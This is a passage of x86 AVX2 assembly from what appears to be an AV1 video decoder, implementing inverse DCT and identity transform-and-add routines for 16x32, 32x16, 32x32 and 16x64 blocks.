ITX_MULSUB_2W 2, 10, 0, 4, 15, 3, 8 ; t21a, t26a
ITX_MULSUB_2W 7, 1, 0, 4, 15, 3, 8 ; t22, t25
ITX_MULSUB_2W 6, 5, 0, 4, 15, 3, 8 ; t23a, t24a
mova [tmp1q+32*0], m13
mova [tmp1q+32*1], m2
mova [tmp1q+32*2], m7
mova [tmp1q+32*3], m6
mova [tmp2q-32*4], m5
mova [tmp2q-32*3], m1
mova [tmp2q-32*2], m10
mova [tmp2q-32*1], m9
ret
ALIGN function_align
.transpose_2x8x8_round:
punpckhwd m6, m12, m13
punpcklwd m12, m13
punpckhwd m13, m8, m9
punpcklwd m8, m9
punpckhwd m9, m14, m15
punpcklwd m14, m15
punpckhwd m15, m10, m11
punpcklwd m10, m11
REPX {pmulhrsw x, m7}, m0, m1, m2, m3, m4, m5
punpckhdq m11, m8, m10
punpckldq m8, m10
punpckldq m10, m12, m14
punpckhdq m12, m14
punpckhdq m14, m13, m15
punpckldq m13, m15
punpckldq m15, m6, m9
punpckhdq m6, m9
punpckhqdq m9, m8, m10
punpcklqdq m8, m10
punpcklqdq m10, m11, m12
punpckhqdq m11, m12
punpcklqdq m12, m13, m15
punpckhqdq m13, m15
punpckhqdq m15, m14, m6
punpcklqdq m14, m6
pmulhrsw m6, m7, [rsp+gprsize+32*0]
REPX {pmulhrsw x, m7}, m8, m9, m10, m11, m12, m13, m14, m15
pmulhrsw m7, [rsp+gprsize+32*1]
mova [rsp+gprsize+32*0], m15
punpckhwd m15, m4, m5
punpcklwd m4, m5
punpckhwd m5, m0, m1
punpcklwd m0, m1
punpckhwd m1, m6, m7
punpcklwd m6, m7
punpckhwd m7, m2, m3
punpcklwd m2, m3
punpckhdq m3, m0, m2
punpckldq m0, m2
punpckldq m2, m4, m6
punpckhdq m4, m6
punpckhdq m6, m5, m7
punpckldq m5, m7
punpckldq m7, m15, m1
punpckhdq m15, m1
punpckhqdq m1, m0, m2
punpcklqdq m0, m2
punpcklqdq m2, m3, m4
punpckhqdq m3, m4
punpcklqdq m4, m5, m7
punpckhqdq m5, m7
punpckhqdq m7, m6, m15
punpcklqdq m6, m15
ret
ALIGN function_align
.pass2_end:
mova [rsp+gprsize+32*0], m7
mova [rsp+gprsize+32*2], m15
vpbroadcastd m15, [o(pw_2048)]
IDCT32_PASS2_END 0, tmp2q+32*3, 1, 7, 15, strideq*0, r3*4
IDCT32_PASS2_END 4, tmp2q-32*1, 0, 7, 15, strideq*4, strideq*8
IDCT32_PASS2_END 8, tmp1q+32*3, 0, 4, 15, strideq*8, strideq*4
IDCT32_PASS2_END 12, tmp1q-32*1, 0, 4, 15, r3*4, strideq*0
add dstq, strideq
sub r2, strideq
mova m1, [rsp+gprsize+32*1]
IDCT32_PASS2_END 1, tmp2q+32*2, 0, 4, 15, strideq*0, r3*4
IDCT32_PASS2_END 5, tmp2q-32*2, 0, 4, 15, strideq*4, strideq*8
IDCT32_PASS2_END 9, tmp1q+32*2, 0, 4, 15, strideq*8, strideq*4
IDCT32_PASS2_END 13, tmp1q-32*2, 0, 4, 15, r3*4, strideq*0
add dstq, strideq
sub r2, strideq
IDCT32_PASS2_END 2, tmp2q+32*1, 0, 4, 15, strideq*0, r3*4
IDCT32_PASS2_END 6, tmp2q-32*3, 0, 4, 15, strideq*4, strideq*8
IDCT32_PASS2_END 10, tmp1q+32*1, 0, 4, 15, strideq*8, strideq*4
IDCT32_PASS2_END 14, tmp1q-32*3, 0, 4, 15, r3*4, strideq*0
add dstq, strideq
sub r2, strideq
mova m7, [rsp+gprsize+32*0]
mova m1, [rsp+gprsize+32*2]
IDCT32_PASS2_END 3, tmp2q+32*0, 0, 4, 15, strideq*0, r3*4
IDCT32_PASS2_END 7, tmp2q-32*4, 0, 4, 15, strideq*4, strideq*8
IDCT32_PASS2_END 11, tmp1q+32*0, 0, 4, 15, strideq*8, strideq*4
IDCT32_PASS2_END 1, tmp1q-32*4, 0, 4, 15, r3*4, strideq*0
ret
; Perform the final sumsub step and YMM lane shuffling
%macro IDCT32_PASS1_END 4 ; row[1-2], tmp[1-2]
mova m%3, [tmp2q+32*( 3-%1)]
psubsw m%4, m%1, m%3
paddsw m%1, m%3
mova m%3, [tmp1q+32*(11-%2)]
mova [tmp1q+32*(11-%2)+16], xm%4
vextracti128 [tmp2q+32*( 3-%1)+16], m%4, 1
paddsw m%4, m%2, m%3
psubsw m%2, m%3
mova [tmp1q+32*(11-%2)], xm%2
vextracti128 [tmp2q+32*( 3-%1)], m%2, 1
vperm2i128 m%2, m%1, m%4, 0x31
vinserti128 m%1, m%1, xm%4, 1
%endmacro
cglobal inv_txfm_add_dct_dct_32x16, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
mov [cq], eobd
pmulhrsw xm0, xm1
mov r2d, 16
jmp m(inv_txfm_add_dct_dct_32x8).dconly
.normal:
PROLOGUE 0, 6, 16, 32*19, dst, stride, c, eob, tmp1, tmp2
vpbroadcastd m15, [o(pw_2896x8)]
pmulhrsw m0, m15, [cq+32* 1]
pmulhrsw m1, m15, [cq+32* 3]
pmulhrsw m2, m15, [cq+32* 5]
pmulhrsw m3, m15, [cq+32* 7]
pmulhrsw m4, m15, [cq+32* 9]
pmulhrsw m5, m15, [cq+32*11]
pmulhrsw m6, m15, [cq+32*13]
pmulhrsw m7, m15, [cq+32*15]
pmulhrsw m8, m15, [cq+32*17]
pmulhrsw m9, m15, [cq+32*19]
pmulhrsw m10, m15, [cq+32*21]
pmulhrsw m11, m15, [cq+32*23]
pmulhrsw m12, m15, [cq+32*25]
pmulhrsw m13, m15, [cq+32*27]
pmulhrsw m14, m15, [cq+32*29]
pmulhrsw m15, [cq+32*31]
lea tmp1q, [rsp+32*7]
lea tmp2q, [tmp1q+32*8]
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf
LOAD_16ROWS cq+32*0, 32*2, 1, 0
pxor m15, m15
mov r3d, 8
.zero_loop:
mova [cq+32*0], m15
mova [cq+32*1], m15
mova [cq+32*2], m15
mova [cq+32*3], m15
add cq, 32*4
dec r3d
jg .zero_loop
call m(idct_16x16_internal).main
call .pass1_end
lea r2, [strideq*3]
mov r3, dstq
.pass2:
vpbroadcastd m7, [o(pw_16384)]
call m(inv_txfm_add_dct_dct_16x32).transpose_2x8x8_round
call m(idct_16x16_internal).main
mova [rsp+32*2], m15
vpbroadcastd m15, [o(pw_2048)]
REPX {pmulhrsw x, m15}, m2, m3, m0
WRITE_16X2 2, 3, 1, 2, strideq*2, r2
pmulhrsw m1, m15, [rsp+32*1]
WRITE_16X2 0, 1, 2, 3, strideq*0, strideq*1
lea dstq, [dstq+strideq*4]
REPX {pmulhrsw x, m15}, m4, m5, m6, m7
WRITE_16X2 4, 5, 2, 3, strideq*0, strideq*1
WRITE_16X2 6, 7, 2, 3, strideq*2, r2
lea dstq, [dstq+strideq*4]
REPX {pmulhrsw x, m15}, m8, m9, m10, m11
WRITE_16X2 8, 9, 2, 3, strideq*0, strideq*1
WRITE_16X2 10, 11, 2, 3, strideq*2, r2
lea dstq, [dstq+strideq*4]
REPX {pmulhrsw x, m15}, m11, m12, m13, m14
pmulhrsw m15, [rsp+32*2]
WRITE_16X2 12, 13, 2, 3, strideq*0, strideq*1
WRITE_16X2 14, 15, 2, 3, strideq*2, r2
test r3, r3
jnz .right_half
RET
.right_half:
LOAD_8ROWS tmp1q-32*4, 32
LOAD_8ROWS_H tmp2q-32*4, 32
lea dstq, [r3+16]
xor r3d, r3d
mova [rsp+32*0], m6
mova [rsp+32*1], m7
jmp .pass2
ALIGN function_align
.pass1_end:
mova [rsp+gprsize+32*0], m9
IDCT32_PASS1_END 0, 8, 1, 9
IDCT32_PASS1_END 2, 10, 1, 9
IDCT32_PASS1_END 3, 11, 1, 9
IDCT32_PASS1_END 4, 12, 1, 9
IDCT32_PASS1_END 5, 13, 1, 9
IDCT32_PASS1_END 6, 14, 1, 9
IDCT32_PASS1_END 7, 15, 1, 9
mova m1, [rsp+gprsize+32*1]
mova m9, [rsp+gprsize+32*0]
mova [rsp+gprsize+32*0], m6
mova [rsp+gprsize+32*1], m7
IDCT32_PASS1_END 1, 9, 6, 7
ret
cglobal inv_txfm_add_identity_identity_16x32, 4, 5, 13, dst, stride, c, eob
%undef cmp
lea rax, [o_base]
vpbroadcastd m9, [o(pw_2896x8)]
vpbroadcastd m10, [o(pw_1697x16)]
vpbroadcastd m12, [o(pw_8192)]
cmp eobd, 43 ; if (eob > 43)
setg r4b ; iteration_count++
cmp eobd, 150 ; if (eob > 150)
setg al ; iteration_count++
add eobd, -279 ; if (eob > 278)
adc r4b, al ; iteration_count++
lea r3, [strideq*3]
mov rax, cq
paddw m11, m12, m12 ; pw_16384
.loop:
mova xm0, [cq+64* 0]
mova xm1, [cq+64* 1]
vinserti128 m0, m0, [cq+64* 8], 1
vinserti128 m1, m1, [cq+64* 9], 1
mova xm2, [cq+64* 2]
mova xm3, [cq+64* 3]
vinserti128 m2, m2, [cq+64*10], 1
vinserti128 m3, m3, [cq+64*11], 1
mova xm4, [cq+64* 4]
mova xm5, [cq+64* 5]
vinserti128 m4, m4, [cq+64*12], 1
vinserti128 m5, m5, [cq+64*13], 1
mova xm6, [cq+64* 6]
mova xm7, [cq+64* 7]
vinserti128 m6, m6, [cq+64*14], 1
vinserti128 m7, m7, [cq+64*15], 1
REPX {pmulhrsw x, m9 }, m0, m1, m2, m3, m4, m5, m6, m7
REPX {IDTX16 x, 8, 10, 11}, 0, 1, 2, 3, 4, 5, 6, 7
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
REPX {pmulhrsw x, m12}, m0, m1, m2, m3, m4, m5, m6, m7
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r3
lea dstq, [dstq+strideq*4]
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 6, 7, 0, 1, strideq*2, r3
lea dstq, [dstq+strideq*4]
add cq, 16
dec r4b
jge .loop
sub cq, 32
pxor m0, m0
mov r0d, 8
cmp cq, rax
ja .zero_loop
.zero_loop_half:
mova [rax+64*0], m0
mova [rax+64*1], m0
add rax, 64*4
mova [rax-64*2], m0
mova [rax-64*1], m0
sub r0d, 2
jg .zero_loop_half
RET
.zero_loop:
mova [rax+32*0], m0
mova [rax+32*1], m0
mova [rax+32*2], m0
mova [rax+32*3], m0
add rax, 32*4
dec r0d
jg .zero_loop
RET
cglobal inv_txfm_add_identity_identity_32x16, 4, 6, 12, dst, stride, c, eob
%undef cmp
lea rax, [o_base]
vpbroadcastd m9, [o(pw_2896x8)]
vpbroadcastd m10, [o(pw_1697x16)]
vpbroadcastd m11, [o(pw_2048)]
cmp eobd, 35 ; if (eob > 35)
setg r4b ; iteration_count++
cmp eobd, 150 ; if (eob > 150)
setg r3b ; iteration_count += 2
lea r4d, [r4+r3*2]
lea r3, [strideq*3]
mov r5, dstq
mov rax, cq
.loop:
mova xm0, [cq+32* 0]
mova xm1, [cq+32* 1]
vinserti128 m0, m0, [cq+32* 8], 1
vinserti128 m1, m1, [cq+32* 9], 1
mova xm2, [cq+32* 2]
mova xm3, [cq+32* 3]
vinserti128 m2, m2, [cq+32*10], 1
vinserti128 m3, m3, [cq+32*11], 1
mova xm4, [cq+32* 4]
mova xm5, [cq+32* 5]
vinserti128 m4, m4, [cq+32*12], 1
vinserti128 m5, m5, [cq+32*13], 1
mova xm6, [cq+32* 6]
mova xm7, [cq+32* 7]
vinserti128 m6, m6, [cq+32*14], 1
vinserti128 m7, m7, [cq+32*15], 1
REPX {pmulhrsw x, m9 }, m0, m1, m2, m3, m4, m5, m6, m7
REPX {paddsw x, x }, m0, m1, m2, m3, m4, m5, m6, m7
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
REPX {IDTX16 x, 8, 10}, 0, 1, 2, 3, 4, 5, 6, 7
REPX {pmulhrsw x, m11}, m0, m1, m2, m3, m4, m5, m6, m7
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r3
lea dstq, [dstq+strideq*4]
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 6, 7, 0, 1, strideq*2, r3
lea dstq, [dstq+strideq*4]
add cq, 16
dec r4b
jl .ret
test r4b, 1
jz .loop
add cq, 32*15
lea dstq, [r5+16]
jmp .loop
.ret:
sub cd, eax
pxor m0, m0
add cd, 384
.zero_loop:
mova [rax+32*0], m0
mova [rax+32*1], m0
mova [rax+32*2], m0
mova [rax+32*3], m0
add rax, 32*4
sub cd, 128
jge .zero_loop
RET
cglobal inv_txfm_add_dct_dct_32x32, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_8192)]
mov [cq], eobd
mov r2d, 32
jmp m(inv_txfm_add_dct_dct_32x8).dconly
.normal:
PROLOGUE 0, 9, 16, 32*67, dst, stride, c, eob, tmp1, tmp2, \
base, tmp3, tmp4
%undef cmp
lea tmp1q, [rsp+32*7]
lea tmp2q, [tmp1q+32*8]
sub eobd, 136
mov tmp4d, eobd
.pass1_loop:
LOAD_8ROWS cq+64*1, 64*2
pxor m8, m8
REPX {mova [cq+64*x], m8}, 1, 3, 5, 7, 9, 11, 13, 15
test tmp4d, tmp4d
jl .fast
LOAD_8ROWS_H cq+64*17, 64*2
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf
LOAD_8ROWS_H cq+64*16, 64*2
pxor m0, m0
REPX {mova [cq+64*x], m0}, 16, 17, 18, 19, 20, 21, 22, 23, \
24, 25, 26, 27, 28, 29, 30, 31
mova [rsp], m15
jmp .idct16
.fast:
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
pxor m8, m8
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14
mova [rsp], m8
.idct16:
LOAD_8ROWS cq+64*0, 64*2
pxor m15, m15
REPX {mova [cq+64*x], m15}, 0, 2, 4, 6, 8, 10, 12, 14
call m(idct_16x16_internal).main
call m(inv_txfm_add_dct_dct_32x16).pass1_end
vpbroadcastd m7, [o(pw_8192)]
call m(inv_txfm_add_dct_dct_16x32).transpose_2x8x8_round
lea tmp3q, [tmp1q+32*32]
mova m15, [rsp]
mova [tmp3q-32*4], m0
mova [tmp3q-32*3], m2
mova [tmp3q-32*2], m4
mova [tmp3q-32*1], m6
mova [tmp3q+32*0], m8
mova [tmp3q+32*1], m10
mova [tmp3q+32*2], m12
mova [tmp3q+32*3], m14
add tmp3q, 32*8
mova [tmp3q-32*4], m1
mova [tmp3q-32*3], m3
mova [tmp3q-32*2], m5
mova [tmp3q-32*1], m7
mova [tmp3q+32*0], m9
mova [tmp3q+32*1], m11
mova [tmp3q+32*2], m13
mova [tmp3q+32*3], m15
vpbroadcastd m9, [o(pw_8192)]
pmulhrsw m0, m9, [tmp1q-32*4]
pmulhrsw m1, m9, [tmp1q-32*3]
pmulhrsw m2, m9, [tmp1q-32*2]
pmulhrsw m3, m9, [tmp1q-32*1]
pmulhrsw m4, m9, [tmp1q+32*0]
pmulhrsw m5, m9, [tmp1q+32*1]
pmulhrsw m6, m9, [tmp1q+32*2]
pmulhrsw m7, m9, [tmp1q+32*3]
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
mova [tmp1q-32*4], m0
pmulhrsw m0, m9, [tmp2q-32*4]
mova [tmp2q-32*4], m1
pmulhrsw m1, m9, [tmp2q-32*3]
mova [tmp1q-32*3], m2
pmulhrsw m2, m9, [tmp2q-32*2]
mova [tmp2q-32*3], m3
pmulhrsw m3, m9, [tmp2q-32*1]
mova [tmp1q-32*2], m4
pmulhrsw m4, m9, [tmp2q+32*0]
mova [tmp2q-32*2], m5
pmulhrsw m5, m9, [tmp2q+32*1]
mova [tmp1q-32*1], m6
pmulhrsw m6, m9, [tmp2q+32*2]
mova [tmp2q-32*1], m7
pmulhrsw m7, m9, [tmp2q+32*3]
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
mova [tmp1q+32*0], m0
mova [tmp2q+32*0], m1
mova [tmp1q+32*1], m2
mova [tmp2q+32*1], m3
mova [tmp1q+32*2], m4
mova [tmp2q+32*2], m5
mova [tmp1q+32*3], m6
mova [tmp2q+32*3], m7
add cq, 32
add tmp1q, 32*16
add tmp2q, 32*16
add eobd, 0x80000000
jnc .pass1_loop
add tmp1q, 32*24
imul r2, strideq, 19
lea r3, [strideq*3]
add r2, dstq
test tmp4d, tmp4d
jge .pass2_loop
add tmp1q, 32*16
add tmp2q, 32*16
add tmp3q, 32*16
.pass2_loop:
LOAD_8ROWS tmp2q-32*4, 32
test tmp4d, tmp4d
jl .fast2
LOAD_8ROWS_H tmp3q-32*4, 32
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf
sub tmp3q, 32*8
LOAD_8ROWS_H tmp3q-32*4, 32
sub tmp3q, 32*16
jmp .pass2_loop_end
.fast2:
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
sub tmp3q, 32*24
pxor m8, m8
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14, m15
.pass2_loop_end:
LOAD_8ROWS tmp3q-32*4, 32
mova [rsp], m15
call m(idct_16x16_internal).main
call m(inv_txfm_add_dct_dct_16x32).pass2_end
lea tmp3q, [tmp1q-32*32]
cmp tmp2q, tmp3q
jb .ret
sub tmp2q, 32*32
sub dstq, r3
lea r2, [r2+r3+16]
add dstq, 16
jmp .pass2_loop
.ret:
RET
cglobal inv_txfm_add_identity_identity_32x32, 4, 6, 10, dst, stride, c, eob
%undef cmp
vpbroadcastd m9, [pw_8192]
sub eobd, 136 ; if (eob < 136)
shr eobd, 30 ; topleft 16x16 only
lea eobd, [eobq*2-8]
lea r4, [strideq*3]
mov r5, dstq
lea rax, [cq+32]
.loop:
mova xm0, [cq+64* 0]
mova xm1, [cq+64* 1]
vinserti128 m0, m0, [cq+64* 8], 1
vinserti128 m1, m1, [cq+64* 9], 1
mova xm2, [cq+64* 2]
mova xm3, [cq+64* 3]
vinserti128 m2, m2, [cq+64*10], 1
vinserti128 m3, m3, [cq+64*11], 1
mova xm4, [cq+64* 4]
mova xm5, [cq+64* 5]
vinserti128 m4, m4, [cq+64*12], 1
vinserti128 m5, m5, [cq+64*13], 1
mova xm6, [cq+64* 6]
mova xm7, [cq+64* 7]
vinserti128 m6, m6, [cq+64*14], 1
vinserti128 m7, m7, [cq+64*15], 1
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
REPX {pmulhrsw x, m9}, m0, m1, m2, m3, m4, m5, m6, m7
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r4
lea dstq, [dstq+strideq*4]
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 6, 7, 0, 1, strideq*2, r4
lea dstq, [dstq+strideq*4]
add cq, 16
inc eobd
jz .ret
test eobd, 3
jnz .loop
add cq, 64*15
lea dstq, [r5+16]
jmp .loop
.ret:
pxor m0, m0
mov r0d, 16
cmp cq, rax
jne .zero_loop
.zero_loop_topleft:
mova [rax-32*1], m0
mova [rax+32*1], m0
mova [rax+32*3], m0
mova [rax+32*5], m0
add rax, 64*4
sub r0d, 4
jg .zero_loop_topleft
RET
.zero_loop:
mova [rax-32*1], m0
mova [rax+32*0], m0
mova [rax+32*1], m0
mova [rax+32*2], m0
add rax, 32*4
dec r0d
jg .zero_loop
RET
%macro IDCT64_PART2_END 6-10 ; out, src[1-2], tmp[1-3], (offset[1-4])
%if %1 & 1
mova m%5, [tmp2q-32*(51-%1)] ; idct16 out 0+n
mova m%4, [tmp1q-32*(14+%1)] ; idct32 out31-n
%else
mova m%5, [tmp1q-32*(45-%1)]
mova m%4, [tmp2q-32*(20+%1)]
%endif
psubsw m%6, m%5, m%4 ; idct32 out31-n
paddsw m%5, m%4 ; idct32 out 0+n
psubsw m%4, m%6, m%3 ; out32+n
paddsw m%6, m%3 ; out31-n
psubsw m%3, m%5, m%2 ; out63-n
paddsw m%5, m%2 ; out 0+n
%if %0 == 6 ; pass 1
%if %1 & 1
mova [tmp2q-32*(19-%1)], m%4
mova [tmp1q-32*(14+%1)], m%6
mova [tmp1q+32*(18-%1)], m%3
mova [tmp2q-32*(51-%1)], m%5
%else
mova [tmp1q-32*(13-%1)], m%4
mova [tmp2q-32*(20+%1)], m%6
mova [tmp2q+32*(12-%1)], m%3
mova [tmp1q-32*(45-%1)], m%5
%endif
%else ; pass 2
REPX {pmulhrsw x, m14}, m%4, m%6, m%3, m%5
%if %1 & 1
%define %%d0 r2
%define %%d1 dstq
%else
%define %%d0 dstq
%define %%d1 r2
%endif
pmovzxbw m%2, [%%d0+%9 ]
paddw m%2, m%4
pmovzxbw m%4, [%%d1+%8 ]
paddw m%4, m%6
pmovzxbw m%6, [%%d1+%10]
paddw m%3, m%6
pmovzxbw m%6, [%%d0+%7 ]
paddw m%5, m%6
packuswb m%2, m%4
packuswb m%3, m%5
vpermq m%2, m%2, q3120
vpermq m%3, m%3, q3120
mova [%%d0+%9 ], xm%2
vextracti128 [%%d1+%8 ], m%2, 1
mova [%%d1+%10], xm%3
vextracti128 [%%d0+%7 ], m%3, 1
%endif
%endmacro
cglobal inv_txfm_add_dct_dct_16x64, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_8192)]
mov [cq], eobd
mov r2d, 32
jmp m(inv_txfm_add_dct_dct_16x4).dconly
.normal:
PROLOGUE 0, 10, 16, 32*67, dst, stride, c, eob, tmp1, tmp2
%undef cmp
lea tmp1q, [rsp+32*23]
lea tmp2q, [tmp1q+32*24]
sub eobd, 151
mov r7d, eobd
.pass1_loop:
LOAD_16ROWS cq, 64
call m(idct_16x16_internal).main
mova m1, [rsp+32*1]
mova [rsp+32*0], m6
mova [rsp+32*1], m7
vpbroadcastd m7, [o(pw_8192)]
call m(inv_txfm_add_dct_dct_16x32).transpose_2x8x8_round
mova m15, [rsp+32*0]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m2
mova [tmp1q-32*2], m4
mova [tmp1q-32*1], m6
mova [tmp1q+32*0], m8
mova [tmp1q+32*1], m10
mova [tmp1q+32*2], m12
mova [tmp1q+32*3], m14
mova [tmp2q-32*4], m1
mova [tmp2q-32*3], m3
mova [tmp2q-32*2], m5
mova [tmp2q-32*1], m7
mova [tmp2q+32*0], m9
mova [tmp2q+32*1], m11
mova [tmp2q+32*2], m13
mova [tmp2q+32*3], m15
add cq, 32
add tmp1q, 32*8
add tmp2q, 32*8
add eobd, 0x80000000
jnc .pass1_loop
lea r2, [rsp+32*23]
mova xm0, [r2-32*4+ 0]
mova xm1, [r2-32*2+ 0]
vinserti128 m0, m0, [r2+32*0+ 0], 1
vinserti128 m1, m1, [r2+32*2+ 0], 1
mova xm2, [r2-32*4+16]
mova xm3, [r2-32*2+16]
vinserti128 m2, m2, [r2+32*0+16], 1
vinserti128 m3, m3, [r2+32*2+16], 1
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7, m8, m9, m10, m11, m12, m13, m14
test r7d, r7d
jl .fast
lea r3, [r2+32*8]
mova xm4, [r3-32*4+ 0]
mova xm5, [r3-32*2+ 0]
vinserti128 m4, m4, [r3+32*0+ 0], 1
vinserti128 m5, m5, [r3+32*2+ 0], 1
mova xm6, [r3-32*4+16]
mova xm7, [r3-32*2+16]
vinserti128 m6, m6, [r3+32*0+16], 1
vinserti128 m7, m7, [r3+32*2+16], 1
.fast:
mova [rsp], m8
lea tmp1q, [rsp+32*7]
call m(idct_16x16_internal).main
mova m1, [rsp+32*1]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m1
mova [tmp1q-32*2], m2
mova [tmp1q-32*1], m3
mova [tmp1q+32*0], m4
mova [tmp1q+32*1], m5
mova [tmp1q+32*2], m6
mova [tmp1q+32*3], m7
add tmp1q, 32*8
mova [tmp1q-32*4], m8
mova [tmp1q-32*3], m9
mova [tmp1q-32*2], m10
mova [tmp1q-32*1], m11
mova [tmp1q+32*0], m12
mova [tmp1q+32*1], m13
mova [tmp1q+32*2], m14
mova [tmp1q+32*3], m15
mova xm0, [r2-32*3+ 0]
mova xm1, [r2-32*1+ 0]
vinserti128 m0, m0, [r2+32*1+ 0], 1
vinserti128 m1, m1, [r2+32*3+ 0], 1
mova xm2, [r2-32*3+16]
mova xm3, [r2-32*1+16]
vinserti128 m2, m2, [r2+32*1+16], 1
vinserti128 m3, m3, [r2+32*3+16], 1
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7
test r7d, r7d
jl .fast2
mova xm4, [r3-32*3+ 0]
mova xm5, [r3-32*1+ 0]
vinserti128 m4, m4, [r3+32*1+ 0], 1
vinserti128 m5, m5, [r3+32*3+ 0], 1
mova xm6, [r3-32*3+16]
mova xm7, [r3-32*1+16]
vinserti128 m6, m6, [r3+32*1+16], 1
vinserti128 m7, m7, [r3+32*3+16], 1
.fast2:
add tmp1q, 32*8
lea tmp2q, [tmp1q+32*8]
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
add r2, 32*24
vpbroadcastd m15, [o(pd_2048)]
add tmp1q, 32*16
add tmp2q, 32*32
mova xm0, [r2-32*4+ 0]
mova xm3, [r2-32*1+16]
vinserti128 m0, m0, [r2+32*0+ 0], 1
vinserti128 m3, m3, [r2+32*3+16], 1
mova xm4, [r2-32*4+16]
mova xm7, [r2-32*1+ 0]
vinserti128 m4, m4, [r2+32*0+16], 1
vinserti128 m7, m7, [r2+32*3+ 0], 1
pxor m1, m1
REPX {mova x, m1}, m2, m5, m6
test r7d, r7d
jl .fast3
add r3, 32*24
mova xm1, [r3-32*1+16]
mova xm2, [r3-32*4+ 0]
vinserti128 m1, m1, [r3+32*3+16], 1
vinserti128 m2, m2, [r3+32*0+ 0], 1
mova xm5, [r3-32*1+ 0]
mova xm6, [r3-32*4+16]
vinserti128 m5, m5, [r3+32*3+ 0], 1
vinserti128 m6, m6, [r3+32*0+16], 1
.fast3:
add rax, o_idct64_offset
call m(inv_txfm_add_dct_dct_16x64).main_part1
add rax, 8
add tmp1q, 32*8
sub tmp2q, 32*8
mova xm0, [r2-32*2+ 0]
mova xm3, [r2-32*3+16]
vinserti128 m0, m0, [r2+32*2+ 0], 1
vinserti128 m3, m3, [r2+32*1+16], 1
mova xm4, [r2-32*2+16]
mova xm7, [r2-32*3+ 0]
vinserti128 m4, m4, [r2+32*2+16], 1
vinserti128 m7, m7, [r2+32*1+ 0], 1
pxor m1, m1
REPX {mova x, m1}, m2, m5, m6
test r7d, r7d
jl .fast4
mova xm1, [r3-32*3+16]
mova xm2, [r3-32*2+ 0]
vinserti128 m1, m1, [r3+32*1+16], 1
vinserti128 m2, m2, [r3+32*2+ 0], 1
mova xm5, [r3-32*3+ 0]
mova xm6, [r3-32*2+16]
vinserti128 m5, m5, [r3+32*1+ 0], 1
vinserti128 m6, m6, [r3+32*2+16], 1
.fast4:
call m(inv_txfm_add_dct_dct_16x64).main_part1
call m(inv_txfm_add_dct_dct_16x64).main_part2_pass2
RET
ALIGN function_align
%define o_base idct64_mul - 8
.main_part1:
; idct64 steps 1-5:
; in1/31/17/15/ 9/23/25/ 7 ->
; t32a/33/34a/35/36/37a/38/39a/56a/57/58a/59/60/61a/62/63a
; in5/27/21/11/13/19/29/ 3 ->
; t40a/41/42a/43/44/45a/46/47a/48a/49/50a/51/52/53a/54/55a
vpbroadcastd m11, [o(idct64_mul+4* 0)]
vpbroadcastd m13, [o(idct64_mul+4* 1)]
vpbroadcastd m10, [o(idct64_mul+4* 4)]
vpbroadcastd m12, [o(idct64_mul+4* 5)]
pmulhrsw m11, m0 ; t63a
pmulhrsw m0, m13 ; t32a
pmulhrsw m10, m1 ; t62a
pmulhrsw m1, m12 ; t33a
vpbroadcastd m9, [o(idct64_mul+4* 8)]
vpbroadcastd m13, [o(idct64_mul+4* 9)]
vpbroadcastd m8, [o(idct64_mul+4*12)]
vpbroadcastd m12, [o(idct64_mul+4*13)]
pmulhrsw m9, m2 ; t61a
pmulhrsw m2, m13 ; t34a
pmulhrsw m8, m3 ; t60a
pmulhrsw m3, m12 ; t35a
psubsw m12, m0, m1 ; t33
paddsw m0, m1 ; t32
psubsw m1, m3, m2 ; t34
paddsw m3, m2 ; t35
psubsw m2, m8, m9 ; t61
paddsw m8, m9 ; t60
psubsw m9, m11, m10 ; t62
paddsw m11, m10 ; t63
ITX_MULSUB_2W 2, 1, 10, 13, 15, m4076, 401 ; t34a, t61a
vpbroadcastd m14, [o(pw_401_4076)]
ITX_MULSUB_2W 9, 12, 10, 13, 15, 14, 13 ; t33a, t62a
psubsw m10, m0, m3 ; t35a
paddsw m0, m3 ; t32a
psubsw m3, m11, m8 ; t60a
paddsw m11, m8 ; t63a
psubsw m8, m9, m2 ; t34
paddsw m9, m2 ; t33
psubsw m2, m12, m1 ; t61
paddsw m12, m1 ; t62
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m9
mova [tmp2q+32*2], m12
mova [tmp2q+32*3], m11
vpbroadcastd m13, [o(pw_m4017_799)]
vpbroadcastd m14, [o(pw_799_4017)]
ITX_MULSUB_2W 2, 8, 0, 1, 15, 14, 13 ; t34a, t61a
ITX_MULSUB_2W 3, 10, 0, 1, 15, 14, 13 ; t35, t60
mova [tmp1q-32*2], m2
mova [tmp1q-32*1], m3
